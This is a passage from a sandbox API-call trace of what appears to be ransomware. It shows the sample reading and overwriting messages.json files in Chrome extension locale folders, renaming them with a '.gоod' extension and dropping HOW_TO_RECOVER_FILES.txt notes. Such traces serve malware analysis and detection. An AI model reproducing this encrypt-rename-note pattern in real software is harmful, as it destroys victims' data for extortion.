Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpFilePart=0x0) returned 0x7f [0239.130] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5526c52f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5526ec42, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5526ec42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0239.130] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5526c52f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5526ec42, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5526ec42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.130] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5526ec42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55271318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55733f0a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0239.130] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5526ec42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55271318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55733f0a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0239.130] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0239.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0239.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0239.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json", lpFilePart=0x0) returned 0x8d [0239.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0239.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x36d1440 | out: lpFileInformation=0x36d1440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5526ec42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55271318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55733f0a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1 [0239.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0239.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json", lpFilePart=0x0) returned 0x8d [0239.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0239.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0239.131] GetFileType (hFile=0x82c) returned 0x1 [0239.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0239.132] GetFileType (hFile=0x82c) returned 0x1 [0239.132] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xdd [0239.132] ReadFile (in: hFile=0x82c, lpBuffer=0x36d18e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x36d18e8*, lpNumberOfBytesRead=0x1f6e7648*=0xdd, lpOverlapped=0x0) returned 1 [0239.133] CloseHandle (hObject=0x82c) returned 1 [0239.159] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json", lpFilePart=0x0) returned 0x8d [0239.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0239.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0239.161] GetFileType (hFile=0x82c) returned 0x1 [0239.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0239.161] GetFileType (hFile=0x82c) returned 0x1 [0239.161] WriteFile (in: hFile=0x82c, lpBuffer=0x374a338*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x374a338*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0239.162] CloseHandle (hObject=0x82c) returned 1 [0239.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json", lpFilePart=0x0) returned 0x8d [0239.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.gоod", lpFilePart=0x0) returned 0x92 [0239.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0239.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5526ec42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55271318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8ac4419c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0239.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0239.162] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.gоod")) returned 1 [0239.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x98 [0239.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0239.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0239.433] GetFileType (hFile=0x828) returned 0x1 [0239.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0239.436] GetFileType (hFile=0x828) returned 0x1 [0239.454] WriteFile (in: hFile=0x828, lpBuffer=0x37f1540*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x37f1540*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0239.456] CloseHandle (hObject=0x828) returned 1 [0239.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0239.456] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpFilePart=0x0) returned 0x7b [0239.456] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5527af93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5527fdb5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5527fdb5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0239.456] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5527af93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5527fdb5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5527fdb5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.456] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5527fdb5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55282488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0239.456] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0239.457] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0239.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0239.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0239.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0239.457] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpFilePart=0x0) returned 0x7b [0239.457] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5527af93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5527fdb5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5527fdb5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0239.457] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5527af93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5527fdb5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5527fdb5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.457] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5527fdb5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55282488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0239.457] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5527fdb5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55282488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0239.458] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0239.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0239.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0239.458] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json", lpFilePart=0x0) returned 0x89 [0239.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0239.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3801510 | out: lpFileInformation=0x3801510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5527fdb5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55282488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573661d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd6)) returned 1 [0239.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0239.458] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json", lpFilePart=0x0) returned 0x89 [0239.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0239.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.458] GetFileType (hFile=0x828) returned 0x1 [0239.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0239.458] GetFileType (hFile=0x828) returned 0x1 [0239.458] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xd6 [0239.458] ReadFile (in: hFile=0x828, lpBuffer=0x38019a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x38019a0*, lpNumberOfBytesRead=0x1f6e7648*=0xd6, lpOverlapped=0x0) returned 1 [0239.459] CloseHandle (hObject=0x828) returned 1 [0239.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json", lpFilePart=0x0) returned 0x89 [0239.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0239.485] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.071] GetFileType (hFile=0x860) returned 0x1 [0240.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0240.071] GetFileType (hFile=0x860) returned 0x1 [0240.071] WriteFile (in: hFile=0x860, lpBuffer=0x3994cd8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3994cd8*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0240.072] CloseHandle (hObject=0x860) returned 1 [0240.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json", lpFilePart=0x0) returned 0x89 [0240.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0240.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0240.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5527fdb5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55282488, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8b4f8649, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0240.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0240.072] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.gоod")) returned 1 [0240.073] 